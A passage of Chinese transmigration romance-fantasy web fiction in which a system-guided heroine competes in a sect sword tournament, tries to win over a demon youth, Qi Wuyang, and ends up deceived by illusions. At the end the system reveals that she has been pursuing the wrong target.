徐颂禾心脏突地一跳,抬头一看,那黑衣人的目光从两个圆孔里射出来,正直勾勾钉着她。 “……我?”确认周围再没有戴着面具的人后,她难以置信地指了一下自己。 “不屑”到底是怎么得出来的?她只是看不懂啊喂! 卓子墨未料到对方竟会提出如此过分的要求,动了动嘴角,皮笑肉不笑地道∶“宗主说笑了,这位姑娘并非我流云宗之人……” “不是你们的人,为什么要坐在你旁边?”那黑衣人拔高了音量,冷笑道∶“论剑大会什么时候允许外人进入了?怎么,你们流云宗是要破了这个规矩?” 卓子墨垂首道∶“晚辈不敢,只是这位姑娘并非宗主口中的‘灵力高深’,还是不必……” “好。”卓不凡微微一笑,语气变得和善起来∶“子墨,你不是想娶她为妻么?不如就让她借此机会表现表现,能帮你破除诅咒的姑娘,我想也不会差。” 徐颂禾在一旁将这话听得一清二楚,一时竟无言以对。 不是,她到底什么时候帮了这么大一个忙?今天是非要她死不可吗? 这剧情发展也不用这么离谱吧?究竟是哪个脑子被驴踢了的作者写的?! “阿禾!” 卓子墨瞳孔一震,猛地站起身,指尖却只来得及碰到她飘过的衣角。 “哎——”她被手中沉重的木剑拖得往前踉跄几步,勉强站稳后,发觉自己一眨眼的功夫竟就已经站在了擂台上。 “……嗨,”徐颂禾看了看对面冷着脸的灰衣,颇有些心虚∶“那个……要不我直接认输?” 下一瞬,一阵令人心惊的哨铃在耳边响起,那灰衣蓦地提剑朝她刺来,剑尖还未及身,带起的劲风便已刮得她脸颊生疼。 “你怎么不讲道理啊?我都说我投降了,还追着我不放干什么?”徐颂禾回头看了一眼,几乎要哭出来——要不是这擂台有八个她那么高,她一定会毫不犹豫地跳下去。 脚下忽地让什么东西一绊,她踉跄一下,条件反射地抬起手,只听“铛”的一声,不偏不倚地挡开了对方径直劈下来的剑刃。 还没容她缓过劲来,手背又是一疼,她清清楚楚地看见一枚利器从手旁飞过,赶紧往旁一闪,手中那柄剑又是一挥,这一下恰好打中对方手腕,灰衣弟子吃痛松手,木剑应声而落。 “第九局,流云宗胜!”吹起的响亮哨声立刻引得全场哗然。 徐颂禾僵在原地惊魂未定地看着自己颤抖的双手,以为自己听错了。 她……她赢了? 生怕对方以为自己耍诈,她赶紧解释∶“我、我也不知道为什么……” 但那灰衣根本不等她说完便纵身跃下了台,仿佛输赢对他而言都不重要。 “阿禾,你没受伤吧?”卓子墨扶着她的手把她带下来,脸上担忧和愧意交织∶“对不起,我没想过会把你置于此等危险的境地。” 徐颂禾双腿发软,没有力气回应他的话。她疲倦地抬眼,目光不经意间掠过人群,恰与角落里一道视线撞个正着。 早上那少年不知何时又出现了,正倚在远处的石柱旁。四目相对的刹那,他的目光在她微微颤抖的手上停留一瞬,旋即淡淡敛眸,只留给她一道背影。 “哎,等一等,你别走呀……” 众弟子见她看似柔弱,实则竟有如此能力,一齐围上来,七嘴八舌地追问∶ “姑娘方才使的是哪路剑法?好生厉害,竟然三招之内就把对方逼下台了。” 徐颂禾心下着急,生怕那人就这样在自己视线中消失,一番推搡后,终于从人群中挤了出来。 不知让谁一碰,脸上面具滑了一下,她赶紧抬手把它扶稳,和卓不凡投来的狐疑目光相撞的瞬间,立刻低下头,一刻不停地从他面前离开。 “祁无恙,是你吗?” 她一路追到湖边,只见那少年正背对着她站在柳树下。听见脚步声,他缓缓转身,目光落在她因焦急而微微泛红的脸颊上。 怕他认不出自己,徐颂禾摘了面具,待呼吸平稳后,才看着他的眼睛,一字一句地问∶“刚才在擂台上,帮我的人是你吧?我今天之所以跟过来,是因为觉得你一定会在——你昨夜为什么突然走了?” 她其实不是完全猜不到,好感度已经八十了,她相信他对自己一定是喜欢的,只是他还不清楚而已。 料到他不会回答,她停顿了一下,随后上前一步,试探着问∶“是因为卓少主吗?” 他掀眸看过来,目光平静如水,像是极有耐心地等着她说下去。 徐颂禾忽然觉得自己心脏t跳得有些快∶“如果真的是,那我现在追过来,就是为了告诉你,我和他之间并没有什么,你不用因为这个吃醋远离我。” 第48章 怎么可能有人喜欢你 “吃醋?” 他偏了偏头, 虽变了模样,眉眼间却都是那个她熟悉的少年。 祁无恙松开手,把玩在指尖的树叶便被风吹到了湖面, 沿着水流飘得很远。他散漫一笑∶“我为什么要吃醋?” “那你为什么要走?”徐颂禾眨了眨眼, 小心翼翼地问∶“你早就知道他就是小白了对不对?之前总不让我靠近兔子, 也是因为这个吗?” 他却不答这话,良久,抬起眼眸端详她, 唇角笑意淡淡∶“是你告诉我, 吃醋是因为喜欢, 所以你以为我喜欢你?” “我……” 没想到他会问得这么直接,徐颂禾被噎了一下, 神色有些失落∶“那你……是不喜欢我吗?” 她问完,目光忐忑地盯着他, 不想错过对方的任何一丝神情变化。 上一次没有,那现在呢? 变成狐狸的时候也没少和她贴贴, 总不能一点喜欢都没有吧? 可他没有直接回答,而是微微垂眸, 将她的所有小表情收尽眼底∶“你希望我说不是?” “嗯。” “为什么?” 徐颂禾望着他探寻的目光, 心口忽然泛起细密的疼。 这个人真的好可怜。 她都表现得这么明显了,他却仍要一遍遍追问缘由。是因为从未被人真心爱过,所以连这般直白的情意都要反复确认, 才敢相信吗? “因为我喜欢你呀, ”少女笑眼弯弯, 模样却很是认真∶“我要和你解释清楚,昨天在戏馆里,是他因为救我受了伤, 所以我才没有立刻去找你的。但这一点都不能代表他比你重要。而且……我知道那时你也在保护我,对不对?” 祁无恙若有所思地蹙了下眉,问∶“你怎么知道是我?” “我就是知道。”她得意洋洋地说。 其实她根本没猜到,只是随口一说,没想到那个时候他真的在。 刚才的那句话,也不全是出于攻略任务。 不知道从什么时候起,她会可怜他那些不堪的过往,心疼他现在不被世人所容的处境,徐颂禾觉得自己不得不承认,她好像……真的有点喜欢他了。 不过至于为什么,她也说不清楚,或许是因为他虽不懂情爱,却在暗中保护过她很多次,还会在她被蛊术操控时纵容她的那些小性子。 又或许,从第一面开始,她就已经被那双仿佛有万千星辰坠落的眼睛吸引了。 少年睨着她微微扬起的嘴角,疑惑她为什么会突然感到高兴。 “阿禾——” 他脸色微微一变,跟随少女的视线,冷冷朝来人投去一瞥。 卓子墨神色匆匆地赶来,先是看了一眼她身后的“弟子”,面色瞬间阴沉下来∶“大会还未结束,不可随意走动,规矩你都忘了?还不给我滚回去!” “哦,”少年懒散地应了一声,忽地一笑∶“这位姑娘好像不是我们的人,她也要去吗?” “自然,”卓子墨转目看向她,语气变得温和∶“阿禾此次可是流云宗的大功臣,快随我回去吧,大家都还等着你……” 祁无恙嗤笑一声,说∶“怎么,堂堂百年门派需要一个女孩来拯救,卓少主似乎还很光荣?” 卓子墨笑意瞬间凝固,眸色冷下来∶“你想说什么?” “没什么,”生怕这俩人吵起来,徐颂禾赶紧拦在他们中间,道∶“公子,我看你的伤已经差不多好全了,我再回去让人见了也不太好,不如我们就此别过……” “有什么不好?” 他伸手攥住她手腕,将她往身前拉了拉,语气带着不容拒绝的意味∶“阿禾,我说过往后都不会让我受苦的,你只需要跟着我,有我在,没人敢为难你。” “是么?”祁无恙微微眯起眼,目光落到少女被攥出红痕的手腕上,旋即又不着痕迹地移开,淡淡一哂∶“她方才被逼上擂台时,不知你做了什么?” 卓子墨手指微微一顿,随后叹息道∶“我原本是想强行把人带离,可没想到阿禾竟有如此能力——阿禾,你会怨我吗?” 他说完,恶狠狠地瞪了对方一眼,心中大为不快。 流云宗无人不对他这个未来宗主尊敬有加,眼下区区这一个他连样貌都记不住的无名弟子,凭什么敢和他呛声? 可那弟子偏偏只是毫不在意地偏过头,一个眼神也没给他,似乎全没将他的警告放在心上。 徐颂禾顿时感到头大,只好先稳住他∶“好吧好吧,我跟你回去,不过你可不许为难他。” 不管怎么说,祁无恙恐怕都还要在这具身体里待上一段时日,那定然是不得离开流云宗的,届时若是卓子墨对他刁难可就不好了。 她跟在后面走出去一路,不远处忽然慌慌张张跑来一个弟子,连汗珠都来不及擦,便急匆匆地道∶“少主,大事不好了,刚才那人打输后不服气,还带着他们宗主前来挑事了,说是我们胜之不武,要派人把这位姑娘抓回去重新比试。” “岂有此理?!”卓子墨面色陡变凝重,回过头来看着她,一脸的歉仄∶“阿禾放心,我绝不会让那人伤到你。你且在此等候片刻,待我解决后立刻便来接你。” 她自己也觉得心虚,眼下人家讨说法来了,她这个挑起事端的人却反而躲起来,是不是也太不厚道了点? “你能行吗?”徐颂禾看着他,惴惴不安地问∶“他是来找我的,要不……还是让我回去?” 卓子墨沉着声道∶“是他们有错在先,强迫一女子上擂台,传出去也不怕让人笑话,竟还有脸过来。不过也好,省得我再去找他们算账。” 说罢,他头也不回地沿着原路径直返回,徐颂禾也不好强行跟过去,只能无措地转过身,眼望着身后的少年。 这剧情发展怎么越来越离谱了?她也不想给人家添麻烦的,可是一眨眼就出现在擂台上了,本来以为比完就完事了,没想到对面是个较真的,居然还上门质问来了。 “你不是一直想走吗?”祁无恙低眸看着她,轻飘飘地说∶“现在难道不是好时机?” “怎么说也是我惹出来的麻烦,就这样走了不太好吧?”她回过头,隐隐约约还能看见卓子墨的背影,“他……不会出什么事吧?” 他和小白的的确确是相同的存在,他们一起经历了不少,而且他变回人后待她也不差,所以就算这件事和她没有关系,她也没有办法做到完全不去担心。 “我怎么会知道?你不如回去好好看看。” 徐颂禾有点惊讶地抬起头,他说这话时神色没什么变化,一点不像是酸溜溜的样子。 她问道∶“那你……和我一起去?” “他和你有关系,和我可没有,”祁无恙微微一笑,道∶“你现在追过去,应该还来得及替他收尸。” 捕捉到字眼,徐颂禾立刻警觉起来,结结巴巴地问∶“为什么是收尸?他……他会死吗?” 眼瞳中尽是她紧张兮兮的模样,他敛起笑意,不咸不淡道∶“不如担心担心你自己。” 话音未落,一阵劲风猛然从背后袭来,徐颂禾甚至还来不及看清,身体便已本能地向后退,后背抵上一截树干时,对方的掌风也已飞到眼前。 千钧一发之际,一道青光从面前掠过,那夺命的一掌便堪堪在她跟前停下,那人偷袭没得手,向后翻了一圈后,稳稳地落在地上,看向他们时眼里缺并无敌意。 徐颂禾愣愣地瞧着方才发生的一切,片刻后,立刻奔到少年身旁,攥着他衣角的手还在微微发抖。 祁无恙不动声色地扫了她一眼∶“受伤了?” “没有,”她摇摇头,抬起衣袖∶“就是衣服被弄脏了,应该是刚才树上掉下来的。” 就这么一个动作,衣袖上沾到的花粉被抖到了他身上。 “……” “抱歉抱歉,我不是故意的。”徐颂禾着急忙慌地替他把花粉拍掉。 “二位,幸会。” 那人甫一出声,她才想起这里还有第三个人——刚刚偷袭她的人。 只见他身着一袭墨绿长袍,面纱遮住脸的下半部,只露出一双含笑的眼。 他走近一步,朝她伸出手,笑道∶“方才多有冒犯,还望姑娘见谅。” 见谅你个大头鬼,你这坏家伙差点害t死我。徐颂禾暗戳戳白了他一眼,没理他伸过来的那只手,挪步躲到少年身后,一点不想看他。 祁无恙勾着唇角,眼底却无半分笑意,更没有要理会来人的意思。 见无人配合,他也不恼火,只笑眯眯地收回手,叹息道∶“姑娘恐怕误会了,在下并非想要伤你,只是方才见你在擂台上只使三招便将我门下弟子击败,心生好奇,没忍住便出招试探,恕我冒昧。” 原来他是那群灰衣服的掌门人,徐颂禾小心翼翼探出头来,上上下下打量他∶“你也真够冒昧的,输又输不起,还派人找流云宗的麻烦。” 对方轻轻皱了下眉,满眼不解∶“不知姑娘从何听说我找了流云宗的麻烦?” 这家伙绝对不是什么好人,干坏事就算了,还不敢光明正大地干。 她拽了一下身旁的人∶“他一定是来拖延时间的,我们快回去看看小白他们怎么样了。” “我为什么要帮他们?”他扣住手腕将她推远,抚平衣袖处被压出的褶皱,冷冷勾唇∶“现在回去,往后你的死活,我都不会再管。” 徐颂禾愣了一下,呆呆地瞧着他,视线却忽然被一道身影打断了。 那人拦在中间,声音沉沉∶“听闻流云宗一向待人傲慢,树敌无数,只怕此番是有人声东击西,想趁论剑大会挑起事端。” 说罢,不等她回答,他又说∶“可在下来之前便见流云宗已空无一人,只怕……” 徐颂禾盯着他∶“你想说什么,直说就好了。” “现在恐怕不是解释的时候,”他叹口气,又转向一旁的少年,道∶“事关重大,我看这位公子应当也是流云宗门下弟子,不会袖手旁观吧?” 少年淡淡一笑∶“好啊。” 他居然……答应了? 徐颂禾难以置信地看着他,但眼下情况紧急,也顾不上那么多,这里只有她认得去流云宗的方向,只好压下疑虑走在最前面带路。 少年抱臂斜倚在树干旁,冷冷望着姑娘跟随青袍人逐渐远去的身影,眼底被一片阴霾淹没。 这么多次了还是不长记性,让她选,她还真就走了。 他也不知为何竟犯了蠢,陪着一个和自己毫不相关的人闹了那么久。 直至那抹身影从视野中消失,祁无恙垂着首不紧不慢地往回走,这回又只有独自一人。 “祁无恙——” 身后蓦地传来少女的声音,他猛然顿住,回过身去,眼里的一潭湖水不住晃荡,可倒映出的身影却不止她一个。 白衣青年领着数十名流云宗弟子,已形成一个严密的包围圈,无数剑尖在月光下泛着冷光,直指中央的他。 卓子墨厉声喝道∶“你这妖孽,竟敢害死我的同袍,还调换身体埋伏在我们当中,若不是阿禾,恐怕就要叫你得逞了!快说,你究竟有什么目的?!” 少年微微一怔,方才眼里漫上的一丝光亮刹那间熄灭。他无视面前敌人的质问,目光径直望向怯生生躲在对方身后的少女,冷冷一哂∶“是你把他们引过来的?” “对,就是我,”少女攀住那一袭白袍,壮着胆子瞪他∶“我从一开始就在骗你,跟在你身边那么久,就是为了能杀了你,夺取你身上的灵脉。本来以为我会死,可没想到你不但不杀我,还误会我喜欢你。” 她停顿了一下,在少年逐渐死寂的目光下,大声说道∶“像你这样一个双手沾满鲜血的妖怪,怎么可能会有人喜欢!” 第49章 他们或许可以成为家人 上山的路弯弯曲曲, 明明没有下雨,却仍是十分泥泞。 “你为什么走得这么慢?”徐颂禾边走边回头,见那青袍人看上去一点不着急, 甚至还在优哉游哉地看风景, 顿时气不打一处来∶“是你自己说情况紧急, 我才给你带路的,你现在怎么不着急了?是不是故意想耽误我和祁……和这位公子的时间?” 青袍人闻言收回探寻的视线,笑着提醒∶“姑娘莫急, 山上路滑, 小心摔了。” 这人神经病吧?徐颂禾略带鄙夷地看了他一眼, 从横七竖八的树枝上跨过去,挽住少年的手, 拖着他往前走,“公子, 那我们走快点,不管他了。” 他倒是难得配合, 就是不知道为什么,这一路都没怎么开过口, 安安静静跟着, 像道影子似的。 一路走到山顶,山门大敞着,依稀能听到些人声。 徐颂禾随手拦住一个过路的弟子, 问道∶“你们大少主呢?他有没有事?” 那弟子的眼神略显奇怪∶“我们大少主能有什么事?你这丫头到底想干什么?” 听见他没事, 徐颂禾稍稍放下心来, 赶紧解释道∶“你误会了,我是你们大少主的朋友,可不可以带我去找他?” “你认识我们大少主?” 那人带着怀疑的目光上下扫视过来, 就在她被看得不适时,忽然听见有人唤了自己一声。 只见卓子墨步履如飞地走来,在她面前站定时,脸上一半是笑容,一半是担忧∶“阿禾,我正想去接你回来,山路难走,你一个人不知有多危险。都怨我去得太迟……” “我是特意来找你的,”徐颂禾打断他,飞快地将青袍人的事叙说了一遍,随后问道∶“所以……那些人没有为难你对吗?” 一听她是因担心自己才赶来的,卓子墨心中一喜,展颜笑道∶“是遇到了些棘手的事,不过还能解决。”转头对身旁的弟子吩咐道∶“快将徐姑娘带下去休息。” “那个……还有一件事,”徐颂禾指了指身旁的人,在他疑惑的注视下说道∶“其实我这次能平安来见你,都多亏有这位公子带路,所以你能不能不要计较刚才的事,不要处罚他?” 卓子墨闻言眉头一皱,笑意逐渐淡去。他移目望向她身后,眉间困惑更深∶“阿禾,你……你说的是谁?” “就是他呀……” 徐颂禾伸手想去拽他,可却落了个空。她犹疑地回头看去,蓦地僵住—— 只见身后空空如也,哪里有什么人? “人呢?刚刚明明还在的呀。” 忽然意识到什么,她回过身,忍不住对面前的人产生了怀疑。 她的有些警觉地后退一步,说道∶“你不会已经让人把他抓起来了吧?他可是我的朋友……” 旁边一弟子看不下去,插嘴道∶“姑娘,你可别说笑了,来的时候我就只看见你一个人,哪有什么朋友?” “我没有说笑,是真的……”她忽然顿住,视线飞快从周围的景物上掠过,最后停留在卓子墨困惑不解的脸上,“你说,你变回人之前,是个什么动物?” 卓子墨道∶“阿禾,你不记得我,可连小白都不记得了吗?是不是有人对你下了咒,你告诉我那个人是谁,我立刻逼他将你变回来。” 徐颂禾只听进去了前面两句,在一片混乱中费劲地把缘由理出了个大概。 如果他真的是卓子墨,那么只有一种可能——一路陪她走过来的祁无恙是假的,或者说,他和她上回见到的幻觉一样,至于那个莫名其妙出现的青袍人……或许就是这家伙搞的鬼! 那真的祁无恙现在会在哪?那个人会伤害他吗? “阿禾,你要去哪?” 身后传来一声焦急的叫唤,徐颂禾头也不回地道∶“你有不让我插手的私事,我也有,不许跟过来!” 怪不得他一路上都几乎没有说过话,原来是假的。那群灰衣服果然玩不起,输就输了,居然还想暗算他们。 可是,他把她单独支走,路上却又不对她下手,究竟有什么目的呢? 下山的路竟比上山时还要难走一些,她心有所念,因此走得太过着急,脚下被绊了好几次,手上、腿上也都被划出了细密的伤痕。 “祁无恙,祁……” 她沿着原路折返回去,远远的看见好端端留在原地的少年,顿觉一阵欢喜,正要朝他奔去时,一道青光蓦地从眼前闪过,她躲闪不及,那片树叶便就这般生生将她鬓边发丝割下了一缕。 徐颂禾一下子停住动作,生硬地咽了咽干涩的喉咙,抬起眼望向几步开外的人。 他亦转过目光,却丝毫不掩饰眼底浓浓杀意,方才尚未平息的灵力在周身掀起一层无形的屏障,压得她胸口一阵闷痛。 她不由自主地往后退了两步,在相隔许t久后,第一次重新对他产生了真真切切的害怕∶“你……你怎么了?” “没什么,”少年动了动唇角,似笑非笑的目光朝她压过来∶“你方才去哪了?” 他为什么会突然变成这副样子?难道刚才那个家伙对他做了什么或是说了什么? 现在好感度已经这么高了,他应该不会伤害她的,徐颂禾整理好自己的情绪后,磕磕绊绊地说∶“是刚才那个人说小白出了事,我才去找他的,但我没有要把你丢下,你听我说,这一切都怪他!” 祁无恙静静地站在原地,神色看不出半点变化,像在等着她继续编造下去。 她便一鼓作气说道∶“他不知道用了什么办法,又让我中了幻觉,我以为你答应跟我一起去了,我才走的……你相信吗?” 他不答,乌黑的眼珠微微一动,嗤笑道∶“你身上的伤,也和他有关?” “他没有伤害我,是我着急来找你,不小心摔到的。” “谁说他了?” 徐颂禾被这话一噎,犹豫了一会才小心翼翼地发问∶“那你问的是谁呢?” 他不说话了,方才被激出的杀意一点点平复下去,但对外来人的戒备却丝毫不减。 幻境难道真的就只是幻境吗? 为何不能是上天机缘巧合给予他的提醒? 娘说得对,这世上除了他自己,所有人都有可能背叛他,从来就没有人希望他活着。当真可笑,过去了这么久,他有朝一日居然会对一个认识不过半年之久的人放下戒备。 他尚未恢复全部的灵力,方才那一切如若不是幻境,只怕自己已非死即伤。 见他不答话,徐颂禾也猜不到这人心里在想什么,只好说∶“现在他们没事了,流云宗我也不会再去,我们……还走吗?” 他掀起眼帘∶“去哪?” “我不知道,我只是想跟着你,和你在一起,”感受到他现在的状态比方才有所缓和,徐颂禾便看着他的眼睛,一字一句地说∶“不管你现在是要继续找身体,还是寻一处好地方安安稳稳过一生,都可以。” “是么?”他淡淡一笑,目光径直望向她身后,“你最好先到我看不见的地方去,待这位道友同我说完了话,回不回来都随你。” 徐颂禾愣了愣,回头看了一眼,可身后一个人都没有。 他还有她不认识的朋友吗?不对,她不仅不认识,还看不见。 不过大佬之间的加密对话或许就是奇奇怪怪的,徐颂禾没多做停留,刚走出去两步,又转过身朝他喊∶“我就在这里等你,你可不要忘记了呀!” 她走到湖边蹲下,两手托着脸,看着湖面里自己一晃一晃的倒影。 等得无聊了,又怕他像上次那样一声不吭离开,她回头看了看,原先那块地上却已经没有人了。 系统怂恿道∶“宿主不如跟过去看看,万一他是在跟某个女孩子说话,你的努力可就要功亏一篑了呀。” 她听见这话顿了顿,随后有些无语地白了它一眼∶“都这么久了,我的攻略对象我还能不了解吗?哪里有什么别的女孩子?” 她天天跟在身边他都不开窍,哪还能主动去找别人? 反正等着也是等着,徐颂禾干脆找来一根木棍,正画得入迷时,倏地从天上落下一道影子,遮住了她的视线。 她仰起头,便触碰到了少年投来的带着打量的目光。 他看着地上那些交织在一起的笔画,轻轻蹙眉∶“这是什么字?” “这不是字,”见他问起来,她便高兴地用木棍在其中一个小人上指了指,介绍道∶“这是我,旁边的是我的爸爸妈妈,是我最爱的人,也是支撑我现在活下去的希望。” 他问道∶“你还有家人?” 他一直以为,她和他一样,都是被抛弃的同类,可她在这世上竟还有牵挂之人么? 真奇怪,既然她有所爱之人,为什么还要一直跟着他? “有呀,只不过……我已经很久没有见到他们了,希望以后还能有机会再抱一抱他们。”徐颂禾想了一想,收起方才油然而生的悲伤,笑吟吟地说∶“如果你愿意的话,我可以带你去见他们。” 她说罢,又沙沙地在旁边画下一个小人∶“你看,就像这样,我很高兴,我爸爸妈妈也会很高兴,你能成为我们的家人。” ……家人? 这个词对他来说似乎颇为陌生,祁无恙移开视线,漫不经心道∶“不想知道我刚才去见了谁么?” 少女扔掉木棍,拍干净手,一下蹦到他面前,眼睛亮晶晶的∶“那你愿意说吗?” “……现在不愿意了。” 第50章 她攻略错人了 白衣青年伫立身后, 五指紧攥成拳,面无表情地眺望着少女渐渐远去的背影。 身旁比他矮了一头的人推了推他,怂恿道∶“哥, 你要是喜欢这姑娘, 就快去追呀!你都跟了人家一路了, 难道就这样看着她和别人走了吗?” 话音方落,他忽地察觉到不对劲,皱了皱眉∶“不对, 这个人的背影怎么这么眼熟……这不是天天在井旁打水那小子吗?他、他这是要叛出师门?!哥, 我这就去把他抓回来, 到时候徐姑娘还是你的……” 卓子墨沉声道∶“不必了,你先回去。” 流云宗没有哪个弟子敢做出如此大逆不道的举动, 他不傻,自然能够猜出现在站在少女身边的是谁。 只是她现在连面具也没有, 倘若让卓子寻瞧见了,只怕非要吵嚷着举全宗门之力抓住他们不可。 然而他仍旧不依不饶地嚷嚷着∶“岂有此理!哥, 这小子叛出师门也就罢了,徐姑娘怎么还愿意跟着他走?他……论相貌、天分, 他哪点比得上你?要我说, 就应该先把这个叛徒处置了,再让你们顺理成章地成婚……” “住口!” 他阴沉着脸,知道是没法再跟下去了。全然不顾对方的挣扎, 他一手揪着衣襟把卓子寻硬生生拎起来, 道∶“回去练功, 今日我盯着你。” 两道身影相继变成白点,最后从眼角余光中消失,少年将目光移向一旁的少女, 轻描淡写地说∶“你是害怕寂寞,所以纵容他们跟着?” 徐颂禾没反应过来,只是回头看了一眼,并没有发现人影∶“什么意思?” 这个人说话就不能一次性说明白,每次都要让她猜。 他说道∶“你不知道么?” 她有点不耐烦了∶“你怎么总让我猜谜语呀?后面明明没有人嘛,而且我有什么好瞒着你的呀?” 忽然想到些什么,她抬眸看向蹙着眉若有所思的少年,快走两步,张开双手拦在他面前。 他微微不解,想往左走,她便也向左挪了挪,总是挡在他的路上。 他无奈∶“做什么?” 徐颂禾垂下手背在身后,道∶“我离开的那一小段时间,你是不是也中幻觉了?” 见他没有否认,她又走近了一步,仰起脸看着他的眼睛问道∶“你看见了什么?” “什么都没有。” “你骗人!回来之后你就变得奇奇怪怪的,你到底看见了什么,不能告诉我吗?” 他又沉默下来,徐颂禾顿了一下,略加思忖,试探着问∶“是……和我有关的吗?” “没有,”祁无恙冷冷地扯了扯唇,毫不留情地把她推开,从她身旁擦过时轻飘飘扔下一句∶“是你想太多。” 本来还有所怀疑的,他这么一说,反而让她肯定了这个猜想。 那他到底看见她做什么了?现在看起来应该是些不好的事…… 她向系统求证∶“系统,好感度有下降吗?” 得到的是否定的答案,好感度还和原来一样。 那就奇怪了,如果真的是这样,那祁无恙不是应该讨厌她,降低好感度了吗?可如果不是的话,他为什么突然转变态度,一副好像对她很提防的样子? 对方连头也不回一下,丝毫没有要等她的意思,徐颂禾只好先暂停思考,快步跟了上去。 树林里静悄悄的,只有风吹动树叶的声响。徐颂禾耷拉着脑袋跟在他身后,不知道他要去哪,问什么都不理,也不回答她,就好像把她当成了空气。 一丝委屈悄悄遁入心头,她突然觉得面前这个人不是祁无恙了,他是被夺舍了吗? 方才关于幻觉的对话无疾而终,却像一根无形的刺横亘在两人中间,连沉默都透着一种沉闷的压抑。 少年并未回头,余光却t注意到那道原本映在身旁的影子逐渐落后下去,他微微蹙眉,不着痕迹地放缓了脚步。 只听“嗖”的一声,他抬手向后一探,五指迅速收拢,便将那颗从背后“偷袭”而来的小石子稳稳攥在手中。 “祁无恙,你可真讨厌。” 他停下脚步,终于回身,目光沉沉地望向身后紧咬着唇的少女。 发泄似的,徐颂禾气呼呼地把手里剩下的石子掷出,却又不敢太用力,那石子在地上骨碌碌翻滚几圈后,躺到了他的脚边。 她抬起眼睛,努力掩饰其间的委屈∶“就因为一个幻觉,你要这样对我。我问你,你又不愿意告诉我。” 本来穿越到这种地方就烦,还摊上了一个不太正常动不动就要杀人的攻略对象。好不容易把他感化,让他对自己有所动摇了,现在却又闹这么一出,换了谁不心烦呀? 阳光底下,那双眼睛一闪一闪的,像一条清澈的小溪。 那闪闪发光的是眼泪吗?她居然会因为这个哭? 祁无恙微微侧头,目光中闪过一丝讥诮∶“我怎么对你了?” 他又没杀她,甚至从未真正伤害过她,还有什么不满意的? 徐颂禾停顿了一下,隔了一会才小声说∶“你干嘛对我这么冷淡?和你说话你也不理我,我又没有惹你……” 一语未完,对方忽地轻笑一声,她有些诧异地看过去,正好撞上他带着玩味的目光。 恐怕她还远远不够了解他。 像他这样的人,绝不会容许任何一个有可能对自己造成威胁的人留在身边,而她这般不知死活地凑过来,他还能做到只是对她“冷淡”,难道还不够吗? “你……你笑什么?” 她忽然觉得不妙,少年却朝她折返回来,微微俯下身,抬手以一股不容拒绝的力道扼住她下颌。徐颂禾被迫抬起头,直望进他那双幽深的眼瞳里去, “还记得我说过我最讨厌什么吗?” “你讨厌……背叛?”徐颂禾在大脑的记忆库里搜寻了好久才找到这句话,干巴巴地说∶“可是,我不会背叛你呀。” “是么?” 他松开手,举目远眺,唇角缓缓勾出一抹弧度∶“近日的月亮,真是越来越圆了。” 徐颂禾也跟着他抬头看,不明白这句莫名其妙的话是什么意思。 现在不是白天吗?哪里来的月亮?而且现在是夏天,这几天的月亮一点都不圆。 “走了,”他淡淡瞥了她一眼,说∶“你不是说,做什么都可以么?” 徐颂禾眨了下眼,很快跟上去∶“现在要去找你的身体了吗?” “不找了。” “不找了?为什么不找了?”她拉住他的手,追问道∶“你不想找了,是不是因为……” 话说到一半,她紧急刹住口。要是从她嘴里说出来“诅咒”两字,他肯定又要起疑心,追问她是从哪里知道的。 幸好他压根没在意她的话,徐颂禾默默思索着,他要是不想就先不找了吧,毕竟诅咒发作的时候看上去真的很痛苦。 “那我们现在要去哪儿呀?”瞧见他走上了一条从没走过的路,她加紧脚步跟上去,忍不住问道。 “当然是回家。” “回……回家?”她以为听错了,禁不住睁大眼睛看着他。 他不是没有家吗? 祁无恙似乎被她的表情取悦了,笑了一声∶“这么惊讶做什么?” 意识到自己的行为太过激动,她清了清嗓,立刻改口道∶“没有,我是太高兴了,你以前还从来没有说过要带我回家呢。” 她小心翼翼打量着他的侧脸,试图挖掘出他的意图,可最终什么也没发现。 为什么突然要带她回家?徐颂禾暗戳戳打量着他,这个人还有两幅面孔呢,刚刚还对她冷若冰霜,这么短的时间就又换了另一种态度。 走在路上时,她脑子里闪过无数幅画面,可当到了那时,还是真真切切地被震惊住了。 她第一次想用“潦草”来形容一座房子。 那甚至不能称之为房子,只是一个依着山壁凹陷处、用几根歪斜木头和乱石勉强搭出的栖身之所,仿佛随时有可能被路过的野兽袭击。 徐颂禾跟在他身后,远远地站着,带点怀疑地看向他∶“这里……是你的家?” 他微微一笑∶“自然不是,怎么,你嫌弃?” “可是你不是要带我去你的家吗?为什么要来这里?” 这时天已经黑了,周围树木丛生,宽大的枝叶遮住月光,她不得不攥住他的衣袖,这才能勉强不让自己被脚下的乱石绊倒。 徐颂禾不安地望着周围,道∶“这里好可怕,要不我们还是快点赶路吧。” “有我在,怕什么?” 他垂手扣住她手腕,不由分说地把人拉进了那间破败的屋中。 徐颂禾眼睁睁看着那间诡异又阴森的屋子离自己越来越近,只得深深吸了口气,强行平复加快的心跳。 就是啊,他之前都那么厉害了,现在找回了灵丹,不就更厉害了吗?那还有什么好怕的? 一支蜡烛被点亮了,屋子里倒是干干净净的,地上也没什么灰尘。 她看着摆放在中间的那张床,犹豫地说∶“只有一张床,要怎么睡呀?” 他还是狐狸的时候没问题,可是现在…… “你自己睡。” 祁无恙将蜡烛固定在桌子上,随后转身便要出门。 “诶诶,等一下,”徐颂禾腾的一下站起身来,用力拽住他衣角,“你你你别走呀,我一个人在这害怕。” 他脚步顿住,回身看过来。烛光跳跃,在他脸上投下明明灭灭的阴影,看不清神情。 “你想如何?” “我……” 她张了张口,连话都还没来得及说完,便被一只手推开了。 “没有地方比这里更安全,安静待着,我就在外面。” 徐颂禾跌坐在床沿,看着他走出去后又把房门给关上,心里蓦地一空。 他应该……不会真的让她出事吧? 现在这么晚了,总不可能冒险离开,徐颂禾躺在那张稻草铺成的床上,这会想起系统来了。 “系统呀系统,现在只有你能陪我聊天了。” 脑子里的电流音断断续续,但能明显地听出来对方声音万分焦急∶“宿……主,还是别聊天了,现在……出了一个大问题。” 她不以为意∶“能有什么问题?祁无恙说了,他就在外面呢,我不会有危险的。” 也真是奇怪,系统这几天都没怎么出现过,除了早上时诈尸了一下。还总时不时有电流音,不知道的还以为脑袋要炸开了。 那边似乎更着急了∶“抱歉,是我的问题……宿主,你的攻略对象……弄错了。” 什么东西弄错了? 她呆了一瞬,心脏顿时凉了半截∶“你的意思是好感度错了?他现在对我其实没有那么喜欢?” “不是……” “是宿主你攻略错人了……” 徐颂禾坐起身来,抱着双膝,听着那电流音一下一下从耳朵里穿过。 “你的攻略对象不是祁无恙,应该是……是流云宗的那位卓少主。”《 》 50-60 第51章 